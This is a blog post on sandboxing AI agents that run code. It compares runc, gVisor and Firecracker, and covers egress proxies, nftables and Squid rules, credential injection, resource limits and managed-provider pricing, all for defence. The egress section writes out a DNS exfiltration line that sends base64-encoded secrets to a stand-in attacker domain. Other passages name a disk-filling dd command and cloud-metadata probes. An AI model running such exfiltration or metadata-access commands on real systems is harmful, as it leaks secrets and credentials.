Filed underL02 · Security
Published
Reading time21 min
Updated
Field notes · L02 Security

Sandboxing AI agents that run codeContainers vs gVisor vs Firecracker, and locking down egress

How to sandbox AI agent code execution: containers vs gVisor vs Firecracker, egress allowlists, secrets outside the box, and E2B, Modal, Cloudflare, Vercel.

The short answer

Treat everything an agent runs as hostile code from a stranger. Run it behind a boundary that does not share the host kernel. That means a microVM (Firecracker, Cloud Hypervisor, Kata) or a user-space kernel (gVisor), not a plain Docker container. Then deny all outbound network by default, allow named domains through a proxy you control, and keep every credential outside the sandbox: the proxy adds it to the request on the way out. If you'd rather not run that stack yourself, E2B, Vercel Sandbox and Cloudflare Sandbox all run on Firecracker, and Modal Sandboxes run on gVisor. All four now ship egress controls.

Most of the risk sits in the network and the secrets, not the kernel. Teams argue about gVisor versus Firecracker and then hand the sandbox an OPENAI_API_KEY and open internet access. This post covers both halves.


01What you are actually defending against

An agent that runs code is remote code execution as a product feature. The code comes from a model, and the model's input includes text you don't control: web pages, issues, emails, PDFs, tool output. Prompt injection means you have to assume an attacker writes some of the code.

Simon Willison's "lethal trifecta" is the clearest framing we know. An agent with access to private data, exposure to untrusted content and the ability to communicate externally can be turned into an exfiltration tool. A sandbox is how you take away one or more of those three things for the code the agent runs.

So the threat model has three separate goals. Rank them, because they need different controls:

Goal What it means Primary control
Host and tenant integrity Sandboxed code can't escape to the host or reach another user's sandbox Isolation boundary (kernel, VMM)
Data confidentiality Sandboxed code can't send data or secrets anywhere you didn't approve Egress policy, secrets outside the box
Resource safety Sandboxed code can't mine crypto, fork-bomb, fill disks or run up your bill cgroups, quotas, timeouts, rate limits

A perfect kernel boundary does nothing for row two. A deny-all egress policy does nothing for row one. You need both.


02Containers vs gVisor vs Firecracker: the isolation boundaries compared

Plain containers (runc): a shared kernel

A standard Docker or Kubernetes container is a set of Linux namespaces and cgroups around a process. That process makes syscalls directly into the host kernel. Every kernel bug reachable from those syscalls is a possible escape. So is every bug in the runtime that sets the container up.

The runtime bugs are not hypothetical. CVE-2024-21626 ("Leaky Vessels") leaked a host file descriptor into runc init. Setting the working directory to /proc/self/fd/N gave access to the host filesystem. It was fixed in runc 1.1.12. In November 2025, three more runc escapes (CVE-2025-31133, CVE-2025-52565, CVE-2025-52881) were disclosed. All three get around runc's protections against writing to arbitrary /proc files. The fixes landed in runc 1.2.8, 1.3.3 and 1.4.0-rc.3.

Seccomp, AppArmor, dropping capabilities and user namespaces all shrink the attack surface. They do not change the fact that the kernel is shared. A hardened container is fine for code you wrote. It is not a boundary we would put between strangers' code and your other tenants.

You can still use runc in two cases:

  • Single-tenant, on an ephemeral VM that holds nothing of value and is thrown away after the session. In that case the VM is the real boundary and the container is just packaging.
  • Local developer tooling, where the "attacker" is mostly the agent making mistakes, not someone attacking you. More on this below.

gVisor: a user-space kernel

gVisor puts a user-space kernel, the Sentry, written in Go, between the workload and the host. The Sentry handles the workload's syscalls itself. It reaches the host only through a small, seccomp-filtered set of its own syscalls. You run it as an OCI runtime (runsc), so it slots into Docker, containerd and Kubernetes RuntimeClass without changing your images.

Things worth knowing in 2026:

  • Platform. gVisor intercepts syscalls through a "platform". systrap, which uses seccomp's SECCOMP_RET_TRAP, has been the default since mid-2023. It works inside ordinary cloud VMs without nested virtualisation. KVM is faster on bare metal. ptrace is legacy and due to be removed.
  • Performance. gVisor's own performance guide says it plainly: CPU-bound work has negligible overhead, while syscall-heavy and small-file-heavy work pays the most. The network stack is "less CPU efficient" than Linux's. For agents, the slow cases are pip install, npm install and test suites that touch thousands of small files. Pure numeric Python barely notices.
  • Compatibility. gVisor implements most of the Linux ABI, but not all of it. Software that pokes at unusual /proc entries, io_uring or rare ioctls sometimes breaks. Test your images before you commit.
  • Networking. By default gVisor uses its own netstack inside the Sentry. --network=none removes networking entirely except loopback (networking guide).
  • Activity. It is actively maintained. The latest release at the time of writing is 20260928.0 (releases).

gVisor's main operational advantage is that it needs no hardware virtualisation. You can run it on any Kubernetes node, including managed node pools where nested KVM isn't available.

Firecracker (and other microVMs): a guest kernel behind a minimal VMM

Firecracker is a KVM-based virtual machine monitor written in Rust. It emulates a deliberately tiny set of devices: virtio-net, virtio-block, vsock, a serial console and a keyboard controller used only for reset. Each sandbox gets its own guest kernel. To escape, an attacker has to break the guest kernel and then the VMM or KVM. Firecracker's jailer also confines the VMM process itself with chroot, namespaces, cgroups, seccomp and an unprivileged UID.

The project's published specification commits to:

  • VMM startup within 8 CPU ms
  • ≤125 ms from the InstanceStart API call to guest /sbin/init
  • ≤5 MiB VMM memory overhead, measured for a 1 vCPU, 128 MiB guest

The cost is operational. You need /dev/kvm, which means bare metal or cloud instances that expose nested virtualisation. You need a guest kernel and root filesystem pipeline. You need tap devices and your own network plumbing. Firecracker has no GPU passthrough, which matters if your agent wants CUDA.

Kata Containers wraps a microVM (QEMU, Cloud Hypervisor, Firecracker or Dragonball) behind an OCI/CRI runtime. You get a VM boundary through a normal Kubernetes RuntimeClass. Kata 4.0 (July 2026) makes the Rust runtime-rs the default and deprecates the Go runtime.

Comparison table

runc container gVisor (runsc) Firecracker / Kata microVM
Kernel the workload talks to Host kernel Sentry (user space), small seccomp'd host surface Dedicated guest kernel
Escape requires One kernel or runtime bug Sentry bug plus a host bug through a narrow syscall surface Guest kernel bug plus a VMM/KVM bug
Needs /dev/kvm No No (systrap); optional (KVM platform) Yes
Start-up Tens of ms plus image pull Similar to containers plus Sentry init ≤125 ms to init (spec); snapshot restore faster
Steady-state overhead ~None Low for CPU; noticeable on syscall/file/network-heavy work Low for CPU; memory per guest; virtio I/O
Linux compatibility Full High, not complete Full (it's Linux)
GPU Yes Yes: NVIDIA via nvproxy, for selected driver versions and officially T4, A100/A10G, L4 and H100 No (Firecracker); possible with QEMU/Cloud Hypervisor under Kata
Ops burden Lowest Low: an OCI runtime swap Highest: kernels, rootfs, tap networking, KVM hosts
We'd use it for Your own code; packaging inside a disposable VM Multi-tenant on Kubernetes without KVM; GPU sandboxes Multi-tenant untrusted code at scale; strongest boundary

Our default

  • Building on Kubernetes, without bare metal: gVisor through RuntimeClass. Look at the kubernetes-sigs Agent Sandbox project too. It adds a Sandbox CRD with warm pools and hands isolation to gVisor or Kata.
  • Building a platform where untrusted code is the product (a code interpreter, CI for agents, eval harnesses for agents): Firecracker. Its boundary is the one most of the managed providers chose.
  • Not building a platform: buy one, and spend the engineering time you save on egress and secrets.

03Cold starts: what actually dominates

Boot time is rarely the problem now. The Firecracker spec's 125 ms is smaller than one LLM round-trip. What dominates in practice:

  1. Image size and pull. Cloudflare's own docs put container cold starts "often … in the 1–3 second range", driven mostly by image size and entrypoint work, on top of a Firecracker boundary.
  2. Dependency install at run time. A pip install pandas inside the sandbox costs more than the VM boot. Bake heavy dependencies into the template image. If the agent needs to install packages, send it through a caching package proxy (see the egress section).
  3. Interpreter warm-up. Starting a Jupyter kernel and importing numpy or pandas takes seconds. Managed products keep a persistent interpreter per session for this reason.

The tools that fix this are warm pools (pre-booted sandboxes you claim) and snapshot/restore (boot once, snapshot memory, restore clones).

Snapshots come with a sharp edge. Every clone restored from one snapshot starts with the same RNG state. Firecracker's random-for-clones document explains it. Guest kernels 5.18+ reseed through VMGenID on restore, but there is a short race window. Userspace programs with their own entropy pools, which includes some TLS libraries, are not covered. If clones generate keys, tokens or nonces, reseed explicitly after restore. Never put secrets into the image you snapshot.


04Locking down outbound network: egress allowlists and proxies

This is the control that stops exfiltration, and the one most often left as allow-all.

Principles

  1. Default deny, including DNS. DNS is an exfiltration channel. dig $(base64 secrets).attacker.example needs no TCP connection. Either run a resolver you control that only answers allowlisted names, or send everything through an HTTP proxy and give the sandbox no resolver at all.
  2. Allow by name at a proxy, not by IP at a firewall. CDN-fronted APIs share IP ranges with the rest of the internet, so allowing api.github.com's IPs at L3 lets in a lot more than GitHub.
  3. Know what SNI/Host filtering does and doesn't prove. A domain filter that reads the TLS SNI or HTTP Host header stops casual exfiltration. It doesn't stop domain fronting through a shared CDN, and it doesn't see what's inside an allowed connection. If the agent can reach api.github.com with a token that can create gists, it can exfiltrate through GitHub. The allowlist limits where data can go. Scoped credentials limit what can be done there.
  4. Block link-local and private ranges explicitly. 169.254.169.254 (cloud metadata), fd00:ec2::254, RFC 1918 ranges and your service CIDRs. A sandbox that can reach instance metadata can often get the node's cloud credentials.
  5. Block UDP unless you need it. QUIC/HTTP3 skips most SNI-based filters. E2B's docs say so outright: domain filtering covers only HTTP on 80 and TLS on 443, and QUIC is not supported.
  6. Log every egress decision. Sandbox egress logs are your best signal of prompt injection in production.

Reference architecture

Diagram
             ┌──────────────────────── host / node ────────────────────────┐
             │                                                             │
 agent  ───► │  orchestrator ──vsock/API─► ┌────────────── microVM ─────┐  │
 (LLM loop)  │       │                     │ code runs here             │  │
             │       │ per-sandbox policy  │ no secrets, no resolver    │  │
             │       ▼                     │ HTTP(S)_PROXY=10.0.0.1:3128│  │
             │  egress proxy  ◄──── tap ───┤ eth0 (only route: proxy)   │  │
             │  - SNI/host allowlist       └────────────────────────────┘  │
             │  - credential injection                                     │
             │  - package mirror / cache                                   │
             │  - audit log                                                │
             │       │                                                     │
             │  nftables: tap → proxy only; drop 169.254/16, RFC1918, UDP  │
             └───────┼─────────────────────────────────────────────────────┘
                     ▼
            allowlisted upstreams (pypi, registry.npmjs.org, api.github.com…)

The kernel firewall makes sure the sandbox can reach only the proxy. The proxy decides which destinations are allowed. The orchestrator owns the policy for each sandbox and the secrets. None of them run inside the VM.

Host firewall (nftables) for Firecracker tap devices

nft
# /etc/nftables.d/sandbox.nft
# Tap devices named fc-<id>. Proxy listens on the host at 10.0.0.1:3128.
table inet sandbox {
  chain input {
    type filter hook input priority 0; policy accept;
    iifname "fc-*" ip daddr 10.0.0.1 tcp dport 3128 ct state new,established accept
    iifname "fc-*" ct state established,related accept
    iifname "fc-*" counter drop          # no DNS, no SSH, no metadata via host
  }
  chain forward {
    type filter hook forward priority 0; policy accept;
    iifname "fc-*" counter drop          # sandboxes never route anywhere directly
    oifname "fc-*" ct state established,related accept
    oifname "fc-*" counter drop          # no sandbox-to-sandbox traffic
  }
}

Put this ruleset in its own table so it can't be weakened by whatever else manages the host firewall. Test it from inside a guest with curl -m 3 http://169.254.169.254/ and nslookup example.com. Both should fail.

Egress proxy: SNI allowlist without decrypting TLS (Squid)

If you don't need to inject credentials, peek at the SNI and splice. Squid never sees plaintext.

squid
# squid.conf: explicit proxy, CONNECT only to allowlisted names
http_port 10.0.0.1:3128 ssl-bump cert=/etc/squid/bump.pem generate-host-certificates=off

acl allowed_sni ssl::server_name .pypi.org files.pythonhosted.org registry.npmjs.org api.github.com
acl step1 at_step SslBump1

ssl_bump peek step1
ssl_bump splice allowed_sni
ssl_bump terminate all

acl SSL_ports port 443
acl CONNECT method CONNECT
http_access deny CONNECT !SSL_ports
http_access allow CONNECT allowed_sni
http_access deny all

logformat sbx %ts.%03tu %>a %rm %ssl::>sni %ru %>Hs %<st
access_log stdio:/var/log/squid/sandbox.log sbx

Squid needs a certificate configured even when it only splices. The peek step reads the ClientHello so the SNI can be matched before any decision is made. Give each sandbox its own source IP on the tap, and the log line ties each request to a session.

For package installs, point PIP_INDEX_URL and npm_config_registry at an internal mirror (devpi, Verdaccio, Artifactory) instead of allowlisting the public registries. You get faster installs and a chance to block known-malicious packages, which is one piece of wider supply-chain security. The sandbox's allowlist also shrinks to one host you own.

Managed egress controls at the time of writing

Provider Isolation Default-deny
E2B Firecracker allowInternetAccess: false
Modal Sandboxes gVisor block_network=True
Cloudflare Sandbox SDK Firecracker microVM per container (docs) enableInternet = false
Vercel Sandbox Firecracker deny-all (blocks DNS too)
Provider Domain allowlist Credential injection at the edge
E2B network.allowOut + denyOut: allTraffic (HTTP:80 Host / TLS:443 SNI) Yes, in public beta: header transforms per host via network.rules (docs)
Modal Sandboxes outbound_domain_allowlist (beta at the time of writing); outbound_cidr_allowlist Not documented
Cloudflare Sandbox SDK allowedHosts Yes: outbound / outboundByHost Worker handlers
Vercel Sandbox custom mode with allowedDomains Yes, in beta: forwardURL per matcher (changelog, May 2026)

Cloudflare's model is the most complete we've seen for keeping secrets out of the box. The outbound handler is a Worker that runs on the same machine as the container and can read your bindings:

js
import { Sandbox, ContainerProxy } from "@cloudflare/sandbox";
export { ContainerProxy };

export class AgentSandbox extends Sandbox {
  enableInternet = false;
}

// The token lives in the Worker's env, never in the container.
AgentSandbox.outboundByHost = {
  "api.github.com": async (request, env, ctx) => {
    if (!["GET", "HEAD"].includes(request.method)) {
      return new Response("read-only sandbox", { status: 403 });
    }
    const req = new Request(request);
    req.headers.set("authorization", `Bearer ${env.GITHUB_READONLY_TOKEN}`);
    return fetch(req);
  },
};

This follows Cloudflare's documented pattern. For HTTPS to be intercepted, the container has to trust Cloudflare's CA, and interceptHttps must be enabled (Containers outbound traffic).


05Secrets handling: keep them outside the sandbox

The rule: nothing inside the sandbox should be worth stealing. Assume code in the box can read every environment variable, every file and all process memory, because it can.

What that means in practice:

  • No long-lived API keys in env vars. If the agent's code needs to call an API, the proxy adds the credential on the way out (Cloudflare outboundByHost, Vercel forwardURL, E2B network.rules, or your own proxy). The sandbox sees a placeholder or nothing at all.
  • If a credential must go inside, make it narrow and short-lived. Scope it to one resource, make it read-only where possible, and set an expiry measured in minutes. GitHub fine-grained tokens scoped to a single repo, cloud STS credentials with a session policy, and database users with SELECT on one schema are all acceptable. An org-wide PAT is not.
  • The model's API key never goes in the sandbox. The agent loop (the agent harness calling the LLM) runs outside, in your trusted service. The sandbox is a tool the loop calls, not where the loop lives.
  • No cloud metadata. On Kubernetes, block 169.254.169.254 with a NetworkPolicy and set the IMDSv2 hop limit to 1 on nodes. Don't give the sandbox pod a service account that can do anything.
  • No secrets in templates or snapshots. Snapshots get copied, cached and restored. Treat them as public within your platform.
  • Mount data read-only, and only what the task needs. If the agent analyses a customer's CSV, copy that one file in. Don't mount the bucket.

Docker's Sandboxes architecture post (April 2026) describes the same principle for laptop agents: "Credentials are injected at runtime and outside the MicroVM boundary, never baked into the environment."


06Filesystem and resource limits

Resource Failure mode Control
Root filesystem Agent modifies tooling, persists backdoor across reuse Read-only rootfs; writable /workspace and /tmp only; never reuse a sandbox across users
Disk dd if=/dev/zero fills host disk Fixed-size block device (microVM) or --storage-opt size= (overlay2 on XFS with pquota); tmpfs with size=
Memory Host OOM, noisy neighbour Guest memory size (microVM) or cgroup memory.max; no swap
CPU Crypto mining vCPU count / cpu.max; wall-clock session timeout; alert on sustained 100%
PIDs Fork bomb pids.max (e.g. 256)
Disk and net I/O Saturating shared NVMe or NIC Firecracker per-device rate_limiter; cgroup io.max
Lifetime Forgotten sandboxes billing for days Hard TTL; idle timeout; destroy on session end

These limits are the last line of defence. Loop and spend budgets inside the agent, covered in agent failure modes in production, should fire first.

A hardened single-host baseline with gVisor, for internal tools or as a starting point:

bash
docker run --rm \
  --runtime=runsc \
  --network=none \
  --read-only \
  --tmpfs /tmp:rw,size=256m \
  --tmpfs /workspace:rw,exec,size=1g \
  --cap-drop=ALL \
  --security-opt no-new-privileges \
  --pids-limit 256 \
  --memory 1g --memory-swap 1g \
  --cpus 1 \
  --user 65534:65534 \
  sandbox-python:3.13 python /workspace/task.py

Add "runtimeArgs": ["--network=none"] to the runsc entry in /etc/docker/daemon.json (gVisor networking) so a forgotten flag can't turn networking back on. When you need egress, swap --network=none for a network whose only route is the proxy. Don't use bridge.

The equivalent Firecracker machine config, with read-only rootfs, a separate scratch disk and rate limits:

json
{
  "boot-source": {
    "kernel_image_path": "/srv/fc/vmlinux",
    "boot_args": "console=ttyS0 reboot=k panic=1 pci=off ro"
  },
  "drives": [
    { "drive_id": "rootfs", "path_on_host": "/srv/fc/rootfs.ext4",
      "is_root_device": true, "is_read_only": true },
    { "drive_id": "scratch", "path_on_host": "/srv/fc/sbx-123/scratch.ext4",
      "is_root_device": false, "is_read_only": false,
      "rate_limiter": { "bandwidth": { "size": 52428800, "refill_time": 1000 } } }
  ],
  "machine-config": { "vcpu_count": 1, "mem_size_mib": 1024, "smt": false },
  "network-interfaces": [
    { "iface_id": "eth0", "guest_mac": "AA:FC:00:00:01:23", "host_dev_name": "fc-sbx123",
      "tx_rate_limiter": { "bandwidth": { "size": 1048576, "refill_time": 1000 } } }
  ]
}

That caps scratch disk I/O at 50 MiB/s and guest egress at 1 MiB/s, which is enough for API calls and package installs and makes bulk exfiltration slow. Run it under the jailer with a dedicated UID per sandbox and cgroup v2. The field names match the Firecracker v1.17.0 API spec; check the spec for the release you deploy.


07Managed sandboxes: E2B vs Modal vs Cloudflare vs Vercel

List prices at the time of writing; check the vendor pages, they change often:

Boundary Published compute price Max session Notes
E2B Firecracker $0.000014 / vCPU-s; $0.0000045 / GiB-s 1 h (Hobby), 24 h (Pro) Pro $150/mo; open-source infra
Modal Sandboxes gVisor $0.00003942 / physical core-s (2 vCPU equiv.); $0.00000667 / GiB-s 24 h (default 5 min) Sandbox rates ~3× Modal Function rates; GPUs available
Cloudflare Sandbox SDK Firecracker $0.000020 / vCPU-s (active CPU only); $0.0000025 / GiB-s; $0.00000007 / GB-s disk – GA April 2026 (changelog); Workers Paid $5/mo; fixed instance types
Vercel Sandbox Firecracker $0.128 / active-CPU-hour; $0.0212 / GB-hour memory; $0.60 / 1M creations 45 min (Hobby), 24 h (Pro) 19 regions; inbound data free

Worked cost model: one million one-minute sessions

These are illustrative assumptions, not a benchmark. Each session gets 1 vCPU and runs for 60 s wall-clock. CPU is busy 30% of the time, because the rest is waiting on the LLM. Memory is the smallest size each vendor lets you pair with 1 vCPU. Free allowances, platform fees and egress are ignored.

  • E2B (1 vCPU, 1 GiB, wall-clock billing): 60 × (0.000014 + 0.0000045) = $0.00111 per session
  • Modal (0.5 physical core = 1 vCPU, 1 GiB): 60 × (0.5 × 0.00003942 + 0.00000667) = $0.00158
  • Cloudflare (standard-2: 1 vCPU, 6 GiB, 12 GB disk): CPU 18 s × 0.000020 = $0.00036; memory 6 × 60 × 0.0000025 = $0.00090; disk 12 × 60 × 0.00000007 = $0.00005. Total $0.00131, plus Durable Object and Worker request charges
  • Vercel (1 vCPU, 2 GB): CPU 0.005 h × 0.128 = $0.00064; memory 2 × (1/60) h × 0.0212 = $0.00071; creation $0.0000006. Total $0.00135
Provider Per session Per 1M sessions
E2B $0.00111 ~$1,110
Cloudflare $0.00131 ~$1,310
Vercel $0.00135 ~$1,348
Modal $0.00158 ~$1,583

All four land within about 1.5× of each other. On these assumptions, price shouldn't decide this for you. Egress controls, region, how long sessions last, GPU needs and where the rest of your stack runs should. Active-CPU billing (Cloudflare, Vercel) pulls ahead as idle time grows. Wall-clock billing is easier to predict when your sessions really are CPU-bound.

When to self-host instead

Self-host when one of these is true:

  • Data residency or contracts rule out a third-party processor.
  • Sandboxes need to reach private networks, and you don't want to open a path from a vendor into your VPC.
  • You run enough sustained volume that committed bare-metal capacity costs less than per-second billing. Do the maths with your real utilisation, not ours.
  • You need GPUs plus a VM boundary, which most of the Firecracker-based products don't offer.

Otherwise, buy. Running Firecracker well is a whole team's job: kernels, rootfs builds, snapshot pipelines, tap networking, KVM capacity, patching. That team isn't building your product.


08The agent sandbox hardening checklist

Use this as a launch gate, so each item can be signed off by name. It's written to apply whether you build or buy. For managed providers, the question becomes "is this configured?" rather than "did we build it?".

Boundary

  • Untrusted code runs behind gVisor or a microVM, never plain runc on a shared host.
  • One sandbox per session per user. No reuse across users, ever.
  • The agent loop and the model API key run outside the sandbox.
  • Runtime (runc/runsc/Firecracker/Kata) has a patch SLA. You know which version you're on.

Network

  • Default egress is deny-all, including DNS.
  • Allowed destinations are named domains at a proxy, scoped to the sandbox's purpose.
  • 169.254.0.0/16, fd00:ec2::254, RFC 1918 and service CIDRs are explicitly blocked.
  • UDP is blocked (no QUIC bypass).
  • No inbound ports, unless a preview URL is a product requirement. If it is, it's authenticated.
  • Sandbox-to-sandbox traffic is blocked.
  • Package installs go through an internal mirror.
  • Every egress decision is logged with the session ID.

Secrets and data

  • No long-lived credentials inside the sandbox. Injection happens at the proxy.
  • Any credential that must go in is scoped to one resource, read-only where possible, and expires in minutes.
  • No cloud metadata reachable. No privileged service account.
  • Templates and snapshots contain no secrets.
  • Input data is copied in, minimal and read-only.
  • Output leaves the sandbox only through the orchestrator API (files, stdout). It's size-capped and treated as untrusted by whatever reads it next.

Resources

  • CPU, memory (no swap), PIDs, disk size and I/O are capped.
  • Hard wall-clock TTL and idle timeout. Sandboxes are destroyed on session end.
  • Per-tenant concurrency and spend limits.
  • Alerts on sustained CPU, egress-denied spikes and unusual destinations.

Snapshots (if used)

  • Guest kernel ≥5.18 with VMGenID. Explicit reseed after restore.

Verification

  • A red-team script runs from inside a sandbox in CI: metadata, DNS, raw IP, UDP, other sandbox IPs, writing to the rootfs, fork bomb, filling the disk. Every probe must fail.

That last item is the one teams skip. The policy you wrote is not the policy that's running until a test proves it.


09Local coding agents are a different problem

Agents that run on developer laptops (Claude Code, Codex CLI and friends) have a different threat model. There's one tenant, but the developer's SSH keys, cloud credentials and source tree are right there. The tools here are lighter:

  • Anthropic's sandbox-runtime uses bubblewrap on Linux and Seatbelt on macOS. It removes the network namespace and sends traffic through host-side HTTP and SOCKS proxies that enforce domain allow- and denylists. It's described as a research preview.
  • Docker Sandboxes run each agent session in a microVM with its own Docker daemon, on a VMM Docker built to run on macOS, Windows and Linux.

The same rules apply: deny network by default, don't mount ~/.ssh or ~/.aws, and broker credentials from outside the box. Setting that policy for a whole team is part of rolling out coding agents across an engineering team.


10Where this crosses into other layers

Sandboxing an agent is a security project that keeps running into other teams' systems. The egress allowlist is a Cloud & DevOps decision about VPC routing, NAT and metadata endpoints. What gets copied into the sandbox is a Data governance decision. Whether the agent can call internal APIs at all is an AI & Automation architecture choice: MCP tool design is your first sandbox. And the same controls should cover agents on staff laptops, which is Managed IT territory. Teams that treat the sandbox as one component in isolation tend to end up with a well-isolated VM that has a production database credential in its environment.


11FAQ

Is Docker enough to sandbox LLM-generated code?

Not for multi-tenant or internet-facing use. Plain Docker shares the host kernel, and runc itself has had several container-escape CVEs, including three in November 2025. Use gVisor (--runtime=runsc) or a microVM. A hardened container inside a disposable, single-tenant VM that holds nothing of value is acceptable, because the VM is the real boundary.

gVisor or Firecracker: which should I choose?

Choose gVisor if you're on Kubernetes without access to /dev/kvm, need GPUs, or want a drop-in OCI runtime. Choose Firecracker (or Kata) if untrusted code is your product and you can run KVM hosts. Firecracker gives each sandbox its own guest kernel behind a very small VMM. Both are far better than runc. The egress and secrets controls matter more than which of the two you pick.

Does a domain allowlist stop data exfiltration?

It limits where data can go, not what can be done once a connection is allowed. An allowlisted API that accepts writes (GitHub gists, a paste service, an S3 bucket) is an exfiltration channel if the sandbox holds credentials for it. Combine allowlists with read-only, narrowly scoped credentials injected at the proxy, and block DNS and UDP.

How do I give the agent API access without putting keys in the sandbox?

Send outbound traffic through a proxy that adds the credential per destination. Cloudflare's Sandbox SDK does this with outboundByHost handlers, Vercel Sandbox offers forwardURL to your own broker (beta), and E2B can add headers per host through network.rules (public beta). Self-hosted, run an Envoy or mitmproxy-style proxy outside the VM that terminates TLS for those specific hosts and adds headers.

How fast can a sandbox start?

Firecracker's specification commits to ≤125 ms from InstanceStart to guest init. End-to-end cold starts are usually dominated by image size, dependency installs and interpreter warm-up. Cloudflare quotes 1–3 s for typical container cold starts. Warm pools and snapshot restore get you below a second. If you use snapshots, reseed entropy after restore.

Should the agent loop run inside the sandbox?

No. The loop holds the model API key, the conversation and the authority to call tools. Run it in your trusted service and treat the sandbox as a tool it calls with a narrow API: write files, run a command, read output. Everything that comes back from the sandbox is untrusted input.


If this is the layer that hurts, we should talk.

Tell us which layer hurts →